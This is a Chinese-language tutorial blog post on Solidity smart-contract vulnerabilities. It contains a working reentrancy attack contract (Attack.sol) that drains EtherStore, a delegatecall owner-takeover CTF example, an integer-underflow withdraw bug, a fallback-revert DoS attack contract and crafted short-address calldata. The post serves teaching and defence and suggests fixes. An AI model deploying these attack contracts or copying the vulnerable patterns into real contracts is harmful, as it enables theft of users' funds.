solidity编写智能合约的安全漏洞问题(二)

智能合约是“不可变的”。一旦部署,它们的代码是不能更改的,导致无法修复任何发现的bug。

在潜在的未来里,整个组织都由智能合约代码管控,对于适当的安全性需求巨大。过去的黑客如TheDAO或去年的Parity黑客(7月、11月)提高了开发者们的警惕,还有很长的路要走。

常见的 Solidity 的漏洞类型:

  1. Reentrancy - 重入
  2. Access Control - 访问控制
  3. Arithmetic Issues - 算术问题(整数上下溢出)
  4. Unchecked Return Values For Low Level Calls - 未严格判断不安全函数调用返回值
  5. Denial of Service - 拒绝服务
  6. Bad Randomness - 可预测的随机处理
  7. Front Running
  8. Time manipulation
  9. Short Address Attack - 短地址攻击
  10. Unknown Unknowns - 其他未知

solidity编写智能合约的安全漏洞问题(二)_第1张图片

 在 Solidity 中,函数中递归调用栈(深度)不能超过 1024 层:

Solidity 的回退函数fallback()

fallback 函数在合约实例中表现形式即为一个不带参数没有返回值的匿名函数:

什么时候执行回退函数?

  1. 当外部账户或其他合约向该合约地址发送 ether 时;
  2. 当外部账户或其他合约调用了该合约一个不存在的函数时;

Solidity 中 的几种传输以太币的方法:

.transfer()

.send() 

.gas().call.vale()() 

都可以用于向某一地址发送 ether,他们的区别在于:

(1)

.transfer()

  • 当发送失败时会 throw; 回滚状态
  • 只会传递 2300 Gas 供调用,防止重入(reentrancy)

(2)

.send()

  • 当发送失败时会返回 false 布尔值
  • 只会传递 2300 Gas 供调用,防止重入(reentrancy)

(3)

.gas().call.value()()

  • 当发送失败时会返回 false 布尔值
  • 传递所有可用 Gas 进行调用(可通过 gas(gas_value) 进行限制),不能有效防止重入(reentrancy)

注:开发者需要根据不同场景合理的使用这些函数来实现转币的功能,如果考虑不周或处理不完整,则极有可能出现漏洞被攻击者利用。例如,早期很多合约在使用 

.send() 进行转帐时,都会忽略掉其返回值,从而致使当转账失败时,后续的代码流程依然会得到执行。

require 和 assert,revert 与 throw

require 和 assert 都可用于检查条件,并在不满足条件的时候抛出异常,但在使用上 require 更偏向代码逻辑健壮性检查上;而在需要确认一些本不该出现的情况异常发生的时候,就需要使用 assert 去判断了。

revert 和 throw 都是标记错误并恢复当前调用,但 Solidity 在 0.4.10 开始引入 revert(), assert(), require() 函数,用法上原先的 throw; 等于 revert()。

具体的漏洞介绍

(1)重入

    以太坊智能合约的特点之一是能够调用和利用其他外部合约的代码。合约通常也处理Ether,因此通常会将Ether发送给各种外部用户地址。调用外部合约或将以太网发送到地址的操作需要合约提交外部调用。这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码(即通过回退函数),包括回调自身。因此代码执行“ 重新进入 ”合约。这种攻击被用于臭名昭着的DAO攻击。

EtherStore.sol:

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
 }

该合约有两个公共职能。depositFunds()withdrawFunds()。该depositFunds()功能只是增加发件人余额。该withdrawFunds()功能允许发件人指定要撤回的wei的数量。如果所要求的退出金额小于1Ether并且在上周没有发生撤回,它才会成功。还是呢?...

该漏洞出现在[17]行,我们向用户发送他们所要求的以太数量。考虑一个恶意攻击者创建下列合约,

Attack.sol:

import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // intialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

让我们看看这个恶意合约是如何利用我们的EtherStore合约的。攻击者可以0x0...123使用EtherStore合约地址作为构造函数参数来创建上述合约(假设在地址中)。这将初始化并将公共变量etherStore指向我们想要攻击的合约。

这里转币的方法用的是 call.value()() 的方式,区别于 send() 和 transfer() 两个相似功能的函数,call.value()() 会将剩余的 Gas 全部给予外部调用(fallback 函数),而 send() 和 transfer() 只会有 2300 的 Gas 量来处理本次转币操作。如果在进行 Ether 交易时目标地址是个合约地址,那么默认会调用该合约的 fallback 函数(存在的情况下,不存在转币会失败,注意 payable 修饰)。

然后攻击者会调用这个pwnEtherStore()函数,并且有一些以太(大于或等于1),1 ether这个例子可以说。在这个例子中,我们假设一些其他用户已经将以太币存入这份合约中,这样它的当前余额就是10 ether。然后会发生以下情况:

  1. Attack.sol -Line[15] -的depositFunds()所述EtherStore合约的功能将与被叫msg.value1 ether(和大量gas)。sender(msg.sender)将是我们的恶意合约(0x0...123)。因此,balances[0x0..123] = 1 ether
  2. Attack.sol - Line [17] - 恶意合约将使用一个参数来调用合约的withdrawFunds()功能。这将通过所有要求(合约的行[12] - [16] ),因为我们以前没有提款。
  3. EtherStore.sol - 行[17] - 合约将发送1 ether回恶意合约。
  4. Attack.sol - Line [25] - 发送给恶意合约的以太网将执行后备功能。
  5. Attack.sol - Line [26] - EtherStore合约的总余额是10 ether,现在9 ether是这样,如果声明通过。
  6. Attack.sol - Line [27] - 回退函数然后EtherStore withdrawFunds()再次调用该函数并“ 重新输入 ” EtherStore合约。
  7. EtherStore.sol - 行[11] - 在第二次调用时withdrawFunds(),我们的余额仍然1 ether是行[18]尚未执行。因此,我们仍然有balances[0x0..123] = 1 ether。lastWithdrawTime变量也是这种情况。我们再次通过所有要求。
  8. EtherStore.sol - 行[17] - 我们撤回另一个1 ether。
  9. 步骤4-8将重复 - 直到EtherStore.balance >= 1[26]行所指定的Attack.sol。
  10. Attack.sol - Line [26] - 一旦在EtherStore合约中留下少于1(或更少)的ether,此if语句将失败。这样就EtherStore可以执行合约的[18]和[19]行(每次调用withdrawFunds()函数)。
  11. EtherStore.sol - 行[18]和[19] - balances和lastWithdrawTime映射将被设置并且执行将结束。

最终的结果是,攻击者已经从EtherStore合约中立即撤销了所有(第1条)以太网,只需一笔交易即可。

(2)访问控制

访问控制,在使用 Solidity 编写合约代码时,有几种默认的变量或函数访问域关键字:private, public, external 和 internal,对合约实例方法来讲,默认可见状态为 public,而合约实例变量的默认可见状态为 private。

  • public 标记函数或变量可以被任何账户调用或获取,可以是合约里的函数、外部用户或继承该合约里的函数
  • external 标记的函数只能从外部访问,不能被合约里的函数直接调用,但可以使用 this.func() 外部调用的方式调用该函数
  • private 标记的函数或变量只能在本合约中使用(注:这里的限制只是在代码层面,以太坊是公链,任何人都能直接从链上获取合约的状态信息)
  • internal 一般用在合约继承中,父合约中被标记成 internal 状态变量或函数可供子合约进行直接访问和调用(外部无法直接获取和调用)

Solidity 中除了常规的变量和函数可见性描述外,这里还需要特别提到的就是两种底层调用方式 call和 delegatecall

  • call 的外部调用上下文是外部合约
  • delegatecall 的外部调用上下是调用合约上下文

solidity编写智能合约的安全漏洞问题(二)_第2张图片

    合约 A 以 call 方式调用外部合约 B 的 func() 函数,在外部合约 B 上下文执行完 func() 后继续返回 A 合约上下文继续执行;而当 A 以 delegatecall 方式调用时,相当于将外部合约 B 的 func() 代码复制过来(其函数中涉及的变量或函数都需要存在)在 A 上下文空间中执行。 

下面代码是 OpenZeppelin CTF 中的题目:

pragma solidity ^0.4.10;

contract Delegate {
    address public owner;

    function Delegate(address _owner) {
        owner = _owner;
    }
    function pwn() {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    function Delegation(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }
    function () {
        if (delegate.delegatecall(msg.data)) {
            this;
        }
    }
}

     仔细分析代码,合约 Delegation 在 fallback 函数中使用 msg.data 对 Delegate 实例进行了 delegatecall() 调用。msg.data 可控,这里攻击者直接用 bytes4(keccak256("pwn()")) 即可通过 delegatecall() 将已部署的 Delegation owner 修改为攻击者自己(msg.sender)。

2017 年下半年出现的智能合约钱包 Parity 被盗事件就跟未授权和 delegatecall 有关。

(3)整数溢出(上溢和下溢)

 通常来说,在编程语言里算数问题导致的漏洞最多的就是整数溢出了,整数溢出又分为上溢和下溢。整数溢出的原理其实很简单,这里以 8 位无符整型为例,8 位整型可表示的范围为 [0, 255]

8 位无符整数 255 在内存中占据了 8bit 位置,若再加上 1 整体会因为进位而导致整体翻转为 0,最后导致原有的 8bit 表示的整数变为 0。

如果是 8 位有符整型,其可表示的范围为 [-128, 127]127 在内存中存储按位存储的形式为:

在这里因为高位作为了符号位,当 127 加上 1 时,由于进位符号位变为 1(负数),因为符号位已翻转为 1,通过还原此负数值,最终得到的 8 位有符整数为 -128

上面两个都是整数上溢的图例,同样整数下溢 (uint8)0-1=(uint8)255(int8)(-128)-1=(int8)127

在 withdraw(uint) 函数中首先通过 require(balances[msg.sender] - _amount > 0) 来确保账户有足够的余额可以提取,随后通过 msg.sender.transfer(_amount) 来提取 Ether,最后更新用户余额信息。这段代码若是一个没有任何安全编码经验的人来审计,代码的逻辑处理流程似乎看不出什么问题,但是如果是编码经验丰富或者说是安全研究人员来看,这里就明显存在整数溢出绕过检查的漏洞。

在 Solidity 中 uint 默认为 256 位无符整型,可表示范围 [0, 2**256-1],在上面的示例代码中通过做差的方式来判断余额,如果传入的 _amount 大于账户余额,则 balances[msg.sender] - _amount 会由于整数下溢而大于 0 绕过了条件判断,最终提取大于用户余额的 Ether,且更新后的余额可能会是一个极其大的数。

pragma solidity ^0.4.10;

contract MyToken {
    mapping (address => uint) balances;

    function balanceOf(address _user) returns (uint) { return balances[_user]; }
    function deposit() payable { balances[msg.sender] += msg.value; }
    function withdraw(uint _amount) {
        require(balances[msg.sender] - _amount > 0);  // 存在整数溢出
        msg.sender.transfer(_amount);
        balances[msg.sender] -= _amount;
    }
}

为了避免上面代码造成的整数溢出,可以将条件判断改为 require(balances[msg.sender] > _amount),这样就不会执行算术操作进行进行逻辑判断,一定程度上避免了整数溢出的发生。

Solidity 除了简单的算术操作会出现整数溢出外,还有一些需要注意的编码细节,稍不注意就可能形成整数溢出导致无法执行正常代码流程:

  • 数组 length 为 256 位无符整型,仔细对 array.length++ 或者 array.length-- 操作进行溢出校验;
  • 常见的循环变量 for (var i = 0; i < items.length; i++) ... 中,i 为 8 位无符整型,当 items 长度大于 256 时,可能造成 i 值溢出无法遍历完全;

 为了防止整数溢出的发生,一方面可以在算术逻辑前后进行验证,另一方面可以直接使用 OpenZeppelin 维护的一套智能合约函数库中的 SafeMath 来处理算术逻辑。

(4)拒绝服务

DoS 无处不在,在 Solidity 里也是,与其说是拒绝服务漏洞不如简单的说成是 “不可恢复的恶意操作或者可控制的无限资源消耗”。简单的说就是对以太坊合约进行 DoS 攻击,可能导致 Ether 和 Gas 的大量消耗,更严重的是让原本的合约代码逻辑无法正常运行。

下面一个例子(代码改自 DASP 中例子):

pragma solidity ^0.4.10;

contract PresidentOfCountry {
    address public president;
    uint256 price;

    function PresidentOfCountry(uint256 _price) {
        require(_price > 0);
        price = _price;
        president = msg.sender;
    }

    function becomePresident() payable {
        require(msg.value >= price); // must pay the price to become president
        president.transfer(price);   // we pay the previous president
        president = msg.sender;      // we crown the new president
        price = price * 2;           // we double the price to become president
    }
}

一个简单的类似于 KingOfEther 的合约,按合约的正常逻辑任何出价高于合约当前 price 的都能成为新的 president,原有合约里的存款会返还给上一人 president,并且这里也使用了 transfer() 来进行 Ether 转账,看似没有问题的逻辑,但不要忘了,以太坊中有两类账户类型,如果发起 becomePresident() 调用的是个合约账户,并且成功获取了 president,如果其 fallback() 函数恶意进行了类似 revert() 这样主动跑出错误的操作,那么其他账户也就无法再正常进行 becomePresident 逻辑成为 president 了。

简单的攻击代码如下:

contract Attack {
    function () { revert(); }

    function Attack(address _target) payable {
        _target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
    }
}

(5)时间操纵

“时间篡改”(DASP 给的名字真抽象 XD),说白了一切与时间相关的漏洞都可以归为 “Time Manipulation”。在 Solidity 中,block.timestamp (别名 now)是受到矿工确认控制的,也就是说一些合约依赖于 block.timestamp 是有被攻击利用的风险的,当攻击者有机会作为矿工对 TX 进行确认时,由于 block.timestamp 可以控制,一些依赖于此的合约代码即预知结果,攻击者可以选择一个合适的值来到达目的。(当然了 block.timestamp 的值通常有一定的取值范围,出块间隔有规定 XD)

该类型我还没有找到一个比较好的例子,所以这里就不给代码演示了。:)

  1. Short Address Attack - 短地址攻击 在我着手测试和复现合约漏洞类型时,短地址攻击我始终没有在 remix-ide 上测试成功(道理我都懂,咋就不成功呢?)。虽然漏洞没有复现,但是漏洞原理我还是看明白了,下面就详细地说明一下短地址攻击的漏洞原理吧。

首先我们以外部调用 call() 为例,外部调用中 msg.data 的情况:

在 remix-ide 中部署此合约并调用 callFunc() 时,可以得到日志输出的 msg.data 值:

0x4142c000000000000000000000000000000000000000000000000000000000000000001e

其中 0x4142c000 为外部调用的函数名签名头 4 个字节(bytes4(keccak256("foo(uint32,bool)"))),而后面 32 字节即为传递的参数值,msg.data 一共为 4 字节函数签名加上 32 字节参数值,总共 4+32 字节。

看如下合约代码:

pragma solidity ^0.4.10;

contract ICoin {
    address owner;
    mapping (address => uint256) public balances;

    modifier OwnerOnly() { require(msg.sender == owner); _; }

    function ICoin() { owner = msg.sender; }
    function approve(address _to, uint256 _amount) OwnerOnly { balances[_to] += _amount; }
    function transfer(address _to, uint256 _amount) {
        require(balances[msg.sender] > _amount);
        balances[msg.sender] -= _amount;
        balances[_to] += _amount;
    }
}

具体代币功能的合约 ICoin,当 A 账户向 B 账户转代币时调用 transfer() 函数,例如 A 账户(0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)向 B 账户(0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db)转 8 个 ICoin,msg.data 数据为:

0xa9059cbb  -> bytes4(keccak256("transfer(address,uint256)")) 函数签名
0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2db  -> B 账户地址(前补 0 补齐 32 字节)
0000000000000000000000000000000000000000000000000000000000000008  -> 0x8(前补 0 补齐 32 字节)

那么短地址攻击是怎么做的呢,攻击者找到一个末尾是 00 账户地址,假设为 0x4b0897b0513fdc7c541b6d9d7e929c4e5364d200,那么正常情况下整个调用的 msg.data 应该为:

0xa9059cbb  -> bytes4(keccak256("transfer(address,uint256)")) 函数签名
0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d200  -> B 账户地址(注意末尾 00)
0000000000000000000000000000000000000000000000000000000000000008  -> 0x8(前补 0 补齐 32 字节)

但是如果我们将 B 地址的 00 吃掉,不进行传递,也就是说我们少传递 1 个字节变成 4+31+32

0xa9059cbb  -> bytes4(keccak256("transfer(address,uint256)")) 函数签名
0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2  -> B 地址(31 字节)
0000000000000000000000000000000000000000000000000000000000000008  -> 0x8(前补 0 补齐 32 字节)

当上面数据进入 EVM 进行处理时,会犹豫参数对齐的问题后补 00 变为:

0xa9059cbb
0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d200
0000000000000000000000000000000000000000000000000000000000000800

也就是说,恶意构造的 msg.data 通过 EVM 解析补 0 操作,导致原本 0x8 = 8 变为了 0x800 = 2048

上述 EVM 对畸形字节的 msg.data 进行补位操作的行为其实就是短地址攻击的原理(但这里我真的没有复现成功,希望有成功的同学联系我一起交流)。

短地址攻击通常发生在接受畸形地址的地方,如交易所提币、钱包转账,所以除了在编写合约的时候需要严格验证输入数据的正确性,而且在 Off-Chain 的业务功能上也要对用户所输入的地址格式进行验证,防止短地址攻击的发生。

 

转载:https://paper.seebug.org/607/

https://paper.seebug.org/632/

你可能感兴趣的:(智能合约,区块链,区块链技术)